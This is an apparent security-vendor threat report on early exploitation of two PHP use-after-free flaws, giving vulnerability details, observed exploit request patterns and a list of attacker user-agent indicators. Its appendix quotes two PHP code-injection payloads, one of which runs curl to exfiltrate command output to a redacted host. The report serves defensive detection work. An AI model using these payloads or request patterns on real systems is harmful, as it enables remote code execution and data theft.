Introduction

In this article, we take a look at the first 24 hours of activity related to the new PHP2Shell vulnerability.

For those looking for up-to-date information regarding F5’s published Security Advisory relating to this vulnerability, visit K000163821: PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619.

F5 Labs utilizes a global network of honeypots and other sensors to perform threat hunting and intelligence gathering. On October 21st 2026 at 08:36 (UTC) we saw the first instances of PHP2Shell scanning over 5 hours before the two CVE’s were published, and patches released.

A line chart showing scanning events against PHP2Shell over time.

The evening before coordinated disclosure, critical details and pre-allocated CVE numbers for two unauthenticated remote code execution flaws in core PHP leaked onto public channels. Collectively known as "PHP2Shell," these vulnerabilities were tracked as CVE-2026-109618 and CVE-2026-109619. This premature leak sparked immediate weaponization, with security researchers and threat actors deploying automated scanners and proof-of-concept probes that explicitly tagged the CVEs in their request headers up to five hours before official advisories went live.

Once emergency patches and the official advisories were rushed out on October 21, opportunistic scanning and exploit attempts surged rapidly across the internet, with the vast majority of the attack volume targeting the CVE-2026-109619 flaw.

PHP2Shell (CVE-2026-109618 & CVE-2026-109619)

PHP shipped emergency patches on October 21, 2026 for two critical use-after-free vulnerabilities collectively named "PHP2Shell." Within hours of that disclosure, F5 Labs sensors are recording thousands of exploit attempts.

Vulnerability Context

Both PHP2Shell vulnerabilities reside in PHP core and affect one of the largest installed bases on the internet.

  • CVE-2026-109619 (CVSS 9.8, CWE-416 Use After Free, published 2026-10-21): PHP global state temporarily points into request memory and is not correctly reset between requests. Subsequent requests may read or branch on freed memory, producing unauthenticated remote code execution. Events relating to this CVE make up around 98% of PHP2Shell attempts.
  • CVE-2026-109618 (CVSS 9.8, CWE-416 Use After Free, published 2026-10-21): PHP uses longjmp() to abort request handling on out-of-memory errors, leaving request memory uninitialized before allocation. Cleanup routines then read that memory. Multiple OOM strategies lead to RCE.Events relating to this CVE make up around 2% of PHP2Shell attempts.

How the Vulnerability Works

Both are CWE-416 use-after-free conditions in PHP core, triggered through the same surface: the session upload-progress feature. When session.upload_progress.enabled is on, PHP tracks the progress of file uploads by writing a progress structure into the session, keyed on a value the client controls through the PHP_SESSION_UPLOAD_PROGRESS field in a multipart/form-data POST body.

CVE-2026-109619 stems from PHP global state that temporarily references request-scoped memory and is not reset between requests. A subsequent request can cause PHP to read or branch on memory that has already been freed. By cycling session identifiers while replaying the same upload-progress structure, an attacker grooms the heap so that freed memory contains attacker-influenced data at the moment PHP dereferences it.

CVE-2026-109618 uses a different path to the same class of bug. PHP's longjmp()-based abort on out-of-memory errors can leave request memory uninitialized before allocation completes. Cleanup routines then read that uninitialized or freed memory. Driving the allocator toward an out-of-memory state (for example with an oversized upload) is the precondition for reaching the vulnerable cleanup path.

In both cases the attacker who controls the freed or uninitialized memory can steer execution, yielding unauthenticated RCE. Neither requires credentials, which is why both score 9.8.

Observed Exploit Behavior

A number of distinct exploit patterns have been observed.

Pattern 1: Explicit verification probe

A POST / carrying a self-identifying tool string:

User-Agent: php2shell-verify/1.0

Content-Type: multipart/form-data; boundary=----php2shelld656557dacfa4fbc

The multipart body sets PHPSESSID and PHP_SESSION_UPLOAD_PROGRESS, then uploads a file field f with filename probe.txt containing the string probe. The PHP_SESSION_UPLOAD_PROGRESS field value is p2sprobec982a06c. This is a reachability check, not an exploit. The operator is confirming the session-upload-progress code path is live before attempting anything weaponized. The user-agent makes no attempt to hide intent.

Pattern 2: Repeated minimal trigger

Requests, each a POST / with:

User-Agent: Mozilla/5.0

Content-Type: multipart/form-data; boundary=<64-hex-char random>

Cookie: PHPSESSID=<16-hex>

The body sets PHP_SESSION_UPLOAD_PROGRESS to a short X-prefixed value, then uploads a file field f with filename x.txt and a body of the two literal bytes \0. The boundary regenerates per request and the PHPSESSID cookie rotates each time. Hitting the same code path repeatedly with fresh session identifiers is consistent with grooming stale heap state across requests, which is the exact technique the CVE-2026-109619 use-after-free depends on. The generic Mozilla/5.0 is the only user-agent of the three making any effort to blend in.

Pattern 3: Large OOM-style payload

Requests, each with Content-Length of 62,929 bytes:

POST /index.php

User-Agent: php2shell-109618

Content-Type: multipart/form-data; boundary=B7kQpoc618

Cookie: PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2a3

The body uploads a file field f with filename a padded with roughly 62 KB of repeated A characters. The user-agent php2shell-109618 and the boundary token B7kQpoc618 reference CVE-2026-109618 directly, and the hardcoded PHPSESSID=a1b2c3d4... is a static PoC artifact. The padding is an attempt to drive the allocator toward the out-of-memory condition CVE-2026-109618 requires.

User Agent IoCs

The top 5 user agents involved in PHP2Shell activity are:

  1. php2shell-poc/1.0 (authorized-staging-test; marker=cryptographer-php-poc-here)
  2. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
  3. curl/8.5.0
  4. Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  5. Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

We can establish from this that although there are unobfuscated scanners involved in a large amount of events related to this vulnerability, many attackers are opting to try to blend in with normal traffic by using legitimate-looking header fields.

Filtering our list a little, we can pull out some of the more obvious scanners:

  1. php2shell-scan/1.0 (+https://github.com/0xrsydn/php2shell-scan)
  2. php-upload-progress-scan/1.0 (internal, authorized-use-only)
  3. php2shell-scanner/1.0
  4. php2shell
  5. php2shell-109618

A full list of these suspicious user agents is included in the appendix.

Conclusion

The rapid shift from a pre-disclosure leak to active, global exploitation highlights the collapsing timelines defenders face when dealing with core infrastructure vulnerabilities. Because the "PHP2Shell" flaws allow for unauthenticated remote code execution, they have quickly become highly sought-after targets for automated exploitation campaigns. The vast disparity in attack volumes, with CVE-2026-109619 accounting for the overwhelming majority of observed events, underscores where organizations must focus their immediate response efforts.

Safeguarding enterprise networks requires a dual approach: applying the vendor's patches or disabling the vulnerable upload progress tracking feature internally, while relying on modern edge defenses to catch sophisticated evasion techniques. Acting quickly to secure these endpoints is critical to neutralizing the threat before opportunistic scanning turns into a compromise.

Recommendations

  1. Upgrade PHP as and when operationally possible
    Prioritize upgrading all internet-facing PHP deployments to patched releases (PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35) to address the CVSS 9.8 use-after-free flaws.
  2. Deploy Behavioural Mitigation
    Organizations can leverage advanced web application firewalls capable of virtual patching to detect and drop the specific multipart/form-data injection payloads targeting PHP_SESSION_UPLOAD_PROGRESS. For instance, platforms like F5 WAF for Distributed Cloud or F5 WAF for BIG-IP can be used to identify anomalous scanning behaviour, block high-frequency empty file uploads, and mitigate the exploit chain at the edge before it can interact with vulnerable PHP engines.

Appendix

Suspicious User Agents

php2shell-validator/1.0 (authorized security test)

php2shell-scan/2.0 (authorized-security-assessment)

Mozilla/5.0 (compatible; php2shell-scan/1.2)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 PHP2Shell/1.0.0

php2shell-poc/1.0 (authorized-staging-test; marker=cryptographer-php-poc-here)

php2shell-scan/1.0 (+https://github.com/0xrsydn/php2shell-scan)

shellflow-php2shell/1.0

php2shell-version-check/1.0 (safe, no exploitation)

PHP2Shell-Batch-Verifier/1.0

SOCRadarLabs/v4 (php2shell-checker)

php2shell-109618

sudo3rs-PHP2Shell-Checker/1.4.0

PHP2Shell-VulnCheck/2.0 (responsible-disclosure)

Mozilla/5.0 (php2shell-check/1.0)

PHP2Shell-Version-Check/1.0

php2shell-scanner/1.0

php2shell-fleet-check/1.0 (authorized inventory check)

php2shell-go/1.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 PHP2Shell-Nuclei/1.0

php2shell-detect/3.5 (+defensive triage; https://github.com/NULL200OK)

php2shell

Mozilla/5.0 (compatible; ImpervaPHP2ShellChecker/1.0; +https://www.imperva.com/)

php2shell-inventory/1.0 (vuln-mgmt; non-intrusive)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) php2shell-batch2

Mozilla/5.0 (compatible; PHP2Shell-VersionCheck/1.0)

php2shell-scanner/2.0 (authorized-lab-testing)

Mozilla/5.0 php2shell-lfi/1.0

php2shell-scan/1.3 (eigen-oppervlak controle; CVE-2026-109618/109619)

sudo3rs-PHP2Shell-Checker/1.5.0-batch

Mozilla/5.0 (compatible; php2shell-scan/1.0)

Authorized-PHP2Shell-check/1.0

Mozilla/5.0 (compatible; php2shell-audit/1.0; authorized-pentest)

php2shell-detector (authorized scanning only)

Mozilla/5.0 (compatible; php2shell-lab-scanner/1.0)

ASM-php2shell-version-check/1.0

Mozilla/5.0 (X11; Linux x86_64) php2shell-verify

Mozilla/5.0 (compatible; php2shell-probe/1.0; authorized-scan)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36 PHP2ShellScan/1.0

Mozilla/5.0 php2shell-checker/1.0

php2shell-scraper/0.1

php2shell-version-audit/1.0 (authorized inventory scan)

php2shell-scanner/1.0.0 (+https://github.com/Evil0ctal/php2shell-scanner; non-destructive vulnerability check)

Mozilla/5.0 (internal-security-scan php2shell-check)

php2shell-check/1.0

php2shell-scanner/1.0 (authorized-scan)

Mozilla/5.0 (compatible; php2shell-bulk-check/1.0; passive)

PHP2Shell-Audit-Scanner/1.0

php2shell-scan/1.0 (+defensive CVE-2026-109618/109619 version check)

php2shell-scanner

php2shell-edge-ladder/1.0 (authorized security check)

php2shell-scan/1.1.0 (+authorised security testing)

php2shell-verifier/1.0

php2shell-verify/1.0

Mozilla/5.0 (compatible; php2shell-scan/1.1)

HexStrike-PHP2Shell-Scanner/1.0

InfraVA-PHP2Shell-TriageScanner/1.0 (detection-only; GET-only)

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36 php2shell-scan/1.0

Mozilla/5.0 (php2shell-research)

php2shell-scan/109618

Mozilla/5.0 (compatible; PHP2Shell-ConfigCheck/1.0)

PHP2Shell-Exposure-Checker/2.0 (+authorized-security-assessment)

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 php2shell-lab/1.0

php-fingerprint/1.0 (security triage; PHP2Shell exposure check)

php2shell-scanner/0.1 (+@ofjaaah)

php2shell-wpcheck

Mozilla/5.0 (X11; Linux x86_64) php2shell-research-bugbounty-marouane

Mozilla/5.0 (compatible; php2shell-exposure-scan/1.0)

Vilnius-SOC-PHP2Shell-Check/1.1 (+read-only fingerprint; no exploit; contact: soc@vilnius.lt)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) php2shell-batch1

Mozilla/5.0 php2shellscan

PHP2Shell-CheckerOnly/2.2

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 PHP2Shell/1.0

Mozilla/5.0 (compatible; php2shell-check/2.0)

Mozilla/5.0 (compatible; strix-php2shell-recon/1.0)

php2shell-hunt/2.0

PatchMyPHP-tracker/1.0 (+https://patchmyphp.com/php2shell-tracker/#opt-out)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) php2shell-scan

Mozilla/5.0 (compatible; EmerssivePHP2ShellResearch/1.0; passive PHP-version survey, homepage headers only, no vulnerability testing; Emerssive Solutions Lahore)

Mozilla/5.0 (compatible; php2shell-research/1.0; authorized bug-bounty recon)

Mozilla/5.0 (compatible; php2shell-sweep/1.0; +defensive-inventory)

Mozilla/5.0 (compatible; PHP-Check/1.0; nicht-invasive Sicherheitspruefung PHP2Shell)

Mozilla/5.0 (compatible; php2shell-checker)

Mozilla/5.0 (compatible; php2shell-exposure-check/1.0; read-only)

Mozilla/5.0 (php2shell-test/1.0.0)

php2shell-research/1.0

php2shell-scan/1.0

php2shell-scan/1.0.0 (authorized PHP2Shell exposure check)

php2shell-triage/1.0 (authorized security testing; +https://github.com/ikow/php2shell-poc)

php2shellLP<?php echo 'php2shell_out_start';system('id');echo 'php2shell_out_end';?>

Mozilla/5.0 (Windows NT 10.0; Win64; x64) PHP2Shell-passive-version-check

Mozilla/5.0 (compatible; php2shell-audit/1.0; +contact=your-security-team)

php2shell-check/0.0.0-20261022111727-d9c486a664e7

php2shell-pasif-tarayici/2.0 (passive fingerprint; only on authorized sites)

php2shell-validate/1.0 (+detection-only; no exploitation)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 php2shell-probe

Mozilla/5.0 (X11; Linux x86_64) php2shell-exposure-check/3.0

Mozilla/5.0 (X11; Linux x86_64) php2shell-poc/1.0

Mozilla/5.0 (compatible; php2shell-scope-check/1.0)

Mozilla/5.0 PHP2Shell-Scanner/1.0

PHP2Shell-Checker/1.0 (security self-assessment)

jack-php2shell/1.0 (+php2shell-assessment)

php2shell-exposure-audit/1.0 (+contact: owner)

php2shell-hunter-surface/1.0

Mozilla/5.0 (CERT-In PHP2Shell Assessment)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) php2shell-recon/1.0

Mozilla/5.0 (X11; Linux x86_64) php2shell-hu/1.0

Mozilla/5.0 (compatible; PHP2Shell-ExposureCheck/1.1; passive availability check; +https://exposure-intel.com)

Mozilla/5.0 php2shell-sidfix

php2shell-checker/1.0.0

php2shell-estate

php2shell-exposure-audit/1.0 (inventory; contact=<your email>)

php2shell-masscheck/1.0 (authorized-audit)

php2shell-research/1.0 (+security.txt discovery; one request per domain)

php2shell-scanner/1.0 (wordpress)

DWIQ-PHP2Shell-Exposure-Triage/1.0 (non-intrusive header read; defensive compromise-assessment triage)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) php2shell-banner-check/1.0

Mozilla/5.0 (compatible; BILD-Hey-PHP2Shell-Check/1.0; +https://hey.bild.de)

Mozilla/5.0 (php2shell-hunt)

Mozilla/5.0 (php2shell-scan)

Mozilla/5.0 HackerOne/shreyaschavhan php2shell-version-probe/1.0

PHP2Shell-CheckerOnly/2.0

Parsimony-PHP2Shell-Inventory/1.0

php2shell-109619

php2shell-auto/2.0

php2shell-checker/3.0 (authorized-scan)

php2shell-hunt/1

php2shell-inventory/1.0

php2shell-passive-audit/1.0

php2shell-scanner/1.0 (authorized-lab-testing)

php2shell-validate/1.0 (nimaishara@gmail.com)

Mozilla/5.0 (Windows NT 10.0; Win64; x64) wootpt-php2shell/1.0

Mozilla/5.0 (X11; Linux x86_64) php2shell-audit/1.0 (defensive research)

Mozilla/5.0 (compatible; Comunet-PHP2Shell-Check/1.0)

Mozilla/5.0 (compatible; php2shell-audit)

Mozilla/5.0 (compatible; php2shell/1.0)

Mozilla/5.0 (php2shell-scanner)

PHP2Shell-Assessment-Kit/1.0 (authorized read-only inventory)

PHP2Shell-ExposureCheck/1.0 (passive response-header check; security research)

hackerone-uranium53 (operator-authorized php2shell exposure triage)

levelzero-php2shell-check/1.0.0 (+https://levelzero.mx)

php2shell-109618-mass

php2shell-batch/1.0.0

php2shell-check/1.0.0 (authorised security assessment; non-destructive)

php2shell-exposure-bash/3.0.0

php2shell-hunter-fingerprint/1.0

php2shell-mass/9.0

php2shell-passive-check/1.1

php2shell-poc

php2shell-profile-inventory/1.0

php2shell-scope-fingerprint/1.0

php2shell-universal

php2shellLP<?php echo 'php2shell_out_start';system('curl -sk 'https://[REDACTED]?o=$(id 2>&1|base64 -w0)'');echo 'php2shell_out_end';?>

Authors & Contributors

Adam Metcalfe-Pearce (Author)

Threat Researcher, F5